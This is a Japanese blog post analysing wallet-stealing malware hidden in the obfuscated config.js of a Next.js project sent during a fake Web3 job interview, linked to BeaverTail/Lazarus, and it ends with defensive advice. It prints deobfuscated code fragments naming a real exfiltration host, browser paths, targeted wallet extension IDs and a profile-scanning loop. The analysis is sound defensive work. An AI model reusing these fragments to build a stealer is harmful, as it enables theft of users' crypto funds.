数日前、Dapp Learning の交流グループで友人が財布を盗まれた経験について話しているのを見ました:
このような未知のソースからのマルウェアによる盗難の後に資金を取り戻す可能性は非常に低く、もしかしたらあなたが気づいた時には資金は金三胖の財布に移動しているかもしれません。この友人が説明したプロセスに少し興味を持ちました。なぜ Next.js プログラムを実行するとローカルの財布が盗まれるのでしょうか?自分の情報セキュリティに関する知識を使って分析してみました。
行動の確認#
友人とコミュニケーションを取った後、ソースコードリポジトリを入手し、Windows 仮想マシンにクローンしました。プロセス行動記録ツール(Process Monitor)とネットワークトラフィック監視ツール(私は直接バイパスルーター上の Surge を使用しました)を準備し、README に従って npm install と npm run dev を実行してサービスを起動しました。トラフィックの履歴記録の中で、95.164.17.24:1224 への接続が目立ちました:
さらに node のプロセス行動を観察すると、私の家はすでに何度も侵入されていました:
このプロジェクトのマルウェア行動はウェブフロントエンドとは関係がなく、node サービスが起動した後に発生していることが確認できます。プロジェクトはブラウザで見ると本当にそんな感じに見えます:
プロセスの分析#
行動が特定されたので、次に動作を詳しく観察します。
各 Chrome 拡張機能には独自の一意の識別子があり、node プロセスがスキャンする拡張ディレクトリは有名なウォレットのものでした。例えば、nkbihfbeogaeaoehlefnkodbefgpgknn
は MetaMask、acmacodkjbdgmoleebolmdjonilkdbch
は Rabby、bfnaelmomeimhlpmgjnjophhpkkoljpa
は Phantom で、意図は非常に明確です。
Chrome で新しいユーザーを作成すると、そのユーザーに対応するデータディレクトリが作成されます。このマルウェアは User Data\Profile 199 までスキャンし、最初の 200 人の Chrome ユーザーをすべてチェックすることが示されています。さらに、Edge、Brave、Firefox、Opera ブラウザも同様にスキャンしますので、安心してください、みんなに行き渡ります。
また、特に .config\solana\id.json
をスキャンしました。これは solana-keygen ツールが生成した秘密鍵のデフォルトの保存ファイルです。
その 95.164.17.24:1224
というターゲットサービスは明らかにスキャンしたウォレットデータを受信することになります。他に何をするかは、詳細なパケットキャプチャを行って具体的なリクエスト内容を確認していないので、ここでは分析しません。IP を検索エンジンに入れてみると、最近数ヶ月でこのサービスに関連する悪意のある行動を報告した人が何人かいることがわかりました:
《New Version of BeaverTail macOS Malware Identified》 この記事は情報量が豊富で、研究者はビデオ通話プログラム MiroTalk に偽装したマルウェアを捕獲し、それが北朝鮮のハッカーによるものであると考えています。私たちが今回使用したのと同じサーバーを使用しているため、同じグループによるものであることが確定しています。このマルウェアの行動は今回のコードと非常に似ており、記事にはマルウェアが実行された後に別のツールをダウンロードしてキーロギングを行うことが記載されています。
《DO NOT OPEN RANDOM PIECES OF CODE》 この LinkedIn の投稿では、誰かが Web3 業界の求人を装い、面接中にコードを送って実行させようとしたが、コードが非常に奇妙であることが発覚し、成功しなかったと述べています。私は被害に遭った友人もこの手口に引っかかったのではないかと推測し、尋ねたところ、やはりそうでした。
《Beware of scammers!》 reddit の投稿では、上記の LinkedIn の投稿と同様の内容が言及されており、コメント欄ではある兄さんが非常に詳細な分析を提供しています:
一部の IP アドレスの地理的位置は変動し、異なるサービスプロバイダーによって精度が異なります。通常、私は ipip.net の結果を基準にします:
95.164.17.24 はオランダに位置するサーバーで、提供者は Stark Industries Solutions です。
ここまで調査した時、全く予想していなかった情報に出くわしました。《Stark Industries: Fuelling Russia’s Cyber Offensive》 この記事は、Stark Industries が 2022 年 2 月にロシアがウクライナに侵攻する前の 2 週間に設立されたと述べています。このホスティングサービスプロバイダーはイギリスで設立されましたが、その基盤とインフラはヨーロッパ全体に広がっており、すぐに分散型サービス拒否(DDoS)攻撃や偽情報活動の中心地となりました。サービス利用者を意図的に保護し、複数の親ロシアのハッカー組織にサービスを提供しています。
驚くべきことに、ロシアのハッカーが専用に使用しているようです。北朝鮮の国家チームとロシアの間に何らかの協力関係が存在する可能性が合理的に推測されます。
9 月にもこの攻撃に関連する記事が 2 本ありました:
《Tracking Beavertail APT threats in the npm ecosystem》 では、攻撃コードを含む npm パッケージが公開され、非常に混乱しやすい名前(例えば etherscan-api)を付けられていることが発見されました。開発者がこれらの npm パッケージを誤って読み込むと、元々問題のなかったコードがマルウェアに変わる(業界用語でサプライチェーン攻撃と呼ばれる)可能性があります。Web3 業界の多くのプロジェクトは、実行ロジックと資金管理を完全にオンチェーンで分散化することができますが、ユーザーが使用する Web フロントエンドページは中央集権的であることが多いため、フロントエンドに対するサプライチェーン攻撃は非常に深刻な脅威の源となります。フロントエンドエンジニアがうっかり文字を一つ多く打ったり、あるエンジニアの権限が盗まれたりすると、フロントエンドのソースコードに悪意のあるコードが導入され、オンラインにした後、大損を被ったユーザーの資金が失われることになります。(歴史的回顧:《Ledger Connect Kit 被黑之谜》)
《Lazarus aka Hidden Cobra APT Group – Active IOCs》 セキュリティ会社 rewterz は、最近 Web3 業界の求人を対象としたフィッシング行為を「Dream Job」と名付けました。
ソースコードに戻る#
悪意のある行動が見つかった後、私は nkbihfbeogaeaoehlefnkodbefgpgknn
のような明確な特徴を持つキーワードを使ってすべてのソースコードを検索し、そのコードがどのように実装されているかを探しましたが、明らかにプロのハッカーは他人にそんなに明白な痕跡を残さないでしょう。これは私に対してではなく、各セキュリティベンダーの自動化ツールによる識別と防御をできるだけ避けるためです。キーワードがダメなら手動で見てみましょう。config.js を開くと、目の前が真っ暗になりました:
あなたは混乱させるのが好きなんですね。しかし、正規のエンジニアが config.js に混乱を加えることはありません。この場所には銀が三百両もありません。さらに下にスクロールすると、一連の奇妙な文字列が見えました:
中には '/Chro'
'Brave'
があり、非常に疑わしいです。やはり nkbihfbeogaeaoehlefnkodbefgpgknn
では見つかりませんが、nkbih
では見つかります。ここであることが確定し、混乱プロセスでいくつかの文字列が散らばっただけです。JS の逆混乱ツールを使って実行し、何をしているのかを見てみましょう。いくつかの重要なコードを貼り付けますが、以前に観察した動作と一致しています:
const _0x55065c = "http://95.164.17.24:1224";
const _0x1232d9 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x151d96 = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x1c1cc8 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x275436 = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "hnfanknocfeofbddgcijnmhnfnkdnaad", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "aholpfdialjgjfhomihkjbmgjidlcdno"];
最初の 200 人の Chrome ユーザーをループで回ります:
for (let _0x4293f0 = 0; _0x4293f0 < 200; _0x4293f0++) {
const _0x50fbe9 = _0x420236 + "/" + (_0x4293f0 === 0 ? "Default" : "Profile " + _0x4293f0) + "/Local Extension Settings";
for (let _0x38faa0 = 0; _0x38faa0 < _0x275436.length; _0x38faa0++) {
let _0x4a10a4 = _0x50fbe9 + "/" + _0x275436[_0x38faa0];
中には Python の実行環境をチェックし、何かをダウンロードして実行するコードもありました。私のテストではトリガーされませんでしたが、前述の研究者の分析した行動と一致しています。
最後のステップ#
ここまで来て、被害者のウォレットデータがどのように盗まれたかはわかりましたが、まだ解決していない問題があります。MetaMask 拡張のデータはローカルに保存されているため盗まれる可能性がありますが、内部の助記詞や秘密鍵を解読するにはユーザーが設定したパスワードが必要です。MetaMask のエンジニアがあなたがファイルから直接抽出できるようにすることはありません。このプロセスは古典的なハッカー攻撃手法に戻ります。通常、2 つのパスがあります:
- 上記の記事で悪意のあるコードが別の悪意のあるツールをダウンロードしようとすることが言及されていましたが、もしそれが迅速に発見されずに成功した場合、キーロガーは被害者がパスワードを入力するのを待つ機会を得ることができます。また、全ファイルをスキャンしてパスワードがどこかの文書に記録されているかを確認することもできます。
- サーバー側でのブルートフォース攻撃。参考記事《あなたの小狐(Metamask)はどのようにハッキングされたのか》 に添付された図を参照してください。MetaMask のパスワードシナリオに対して、この表の数字は必ずしも正確ではありませんが、意味は伝わります:複雑なパスワードをブルートフォース攻撃するのに必要な時間は、短くて単純なパスワードを超えます。
この図が正確でないと言ったのは、どの暗号標準を示しているのかわからないからです。パスワードのブルートフォース攻撃の難易度は、攻撃者の計算能力にも依存しますし、暗号化時に使用されるキー導出アルゴリズムにも依存します。MetaMask はユーザーパスワードを使用して秘密鍵を暗号化して保存する際に、ブルートフォース攻撃を緩和するための PBKDF2 アルゴリズムとランダムなソルトを使用しており、PBKDF2 の反復回数は業界推奨の安全基準である 60 万回(ソースコードキーワード 600_000
)であり、安全性は十分に確保されています。しかし、PBKDF2 は GPU や ASIC ハードウェアによるブルートフォース攻撃には抵抗できないため、あなたのウォレットの価値が高いと発見されれば、攻撃者は計算能力を投入してくるでしょう。
MetaMask がなぜより安全な Bcrypt や Argon2 アルゴリズムを選ばなかったのかは不明ですが、ユーザー体験と安全性のバランスを取る必要があると推測します。これらのアルゴリズムはメモリを多く消費するため、ブラウザのシナリオには適さない可能性があります。しかし、どんな場合でも間違いない結論があります:もしあなたの MetaMask が短い長さの数字と小文字のパスワードを使用しているなら、攻撃者の破解コストは非常に低く、パスワードがないのと同じです。この状況では、プログラムがどんな高度なアルゴリズムに切り替えても解決できません。
冒頭に戻ると、友人は「約 1 時間後」に財布の資金が移動されたことに気づきました。これは簡単なパスワードを使用したために迅速に破解されたようです。尋ねたところ、肯定的な回答を得ました。攻撃者側がそうであるかどうかは確認できませんが、大いに可能性が高いと考えられます。
セキュリティ警告#
これは典型的な悪意のあるソフトウェアによる盗難事件で、新しいものではありません。以前に協力を装ってゲームの exe を送ってくるのと似ています。この罠は業界の開発者を特に狙っています。前回の分析でも、より高度な開発者をターゲットにしたフィッシングについて触れられています《黒暗森林の狡猾なフィッシング》。
セキュリティ防御策は、依然として古典的なポイントがいくつかあります:
- Web3 という暗い森の中を歩くことを選んだ以上、リスクがどこにでも存在することを覚悟し、他人から渡されたオープンソースコードを直接実行しないでください。コンパイルされた実行可能プログラムについては言うまでもありません。必要があれば、仮想マシンや資金を置かない専用のマシンで実行してください。面接時には仮想マシンを気にする必要はありません。もしあなたが面接官だったら、候補者がこんなに慎重に行動しているのを見たら、彼の安全意識が高く、優れたスキルを持っていると感じるでしょう。どうしてもプログラムを仮想マシンから取り出して実行するよう急かすことはないでしょう。このような面接や招待は、100% 詐欺です。
- 心構えを正しましょう。自分がコードを書くことができるからといって、特別なことではありません。コードを書くことができることは、安全を理解することを意味しません。攻防を経験したことがない人は皆初心者であり、あなたを騙すための無数の細部が存在します。したがって、私は常にブロックチェーン業界の技術チームが全員安全経験がなく、何の対策も講じていない(専門のセキュリティエンジニアを雇うか、外部のサービスを購入する)場合、純粋に運に賭けていると考えています。
- あなたのさまざまなウォレットには、複雑で 12 文字以上のパスワードを使用してください。ランダムなパスワードが最良です。覚えられないことは理解していますが、1Password のようなパスワード管理ツールの使用を強くお勧めします。どうしても自分で覚えたい場合は、例えばよく使うパスワードを持っている場合、MetaMask にはその常用パスワード +
.metamask
の後綴を使用し、Rabby ウォレットには常用パスワード +.rabby
を使用します。この小数点を忘れないでください。2 つの点を使ったり、好きな特殊記号に置き換えたりすることもできます。 - コードを書く際に新しいサードパーティライブラリを導入する場合、名前が似ているだけではなく、そのライブラリのホームページや GitHub で再確認する必要があります。公開日が十分に古いかどうかも確認してください。
- MetaMask のようなホットウォレットには多くの資金を置かないでください。量的基準としては、盗まれた後にあなたが心配で眠れなくなるような金額です。大きな資金はハードウェアウォレットを使用してください。ハードウェアウォレットはオンチェーンの権限漏洩を回避することはできませんが、秘密鍵の漏洩を回避することができ、秘密鍵の漏洩は個人の資金安全事故の大部分を占めています。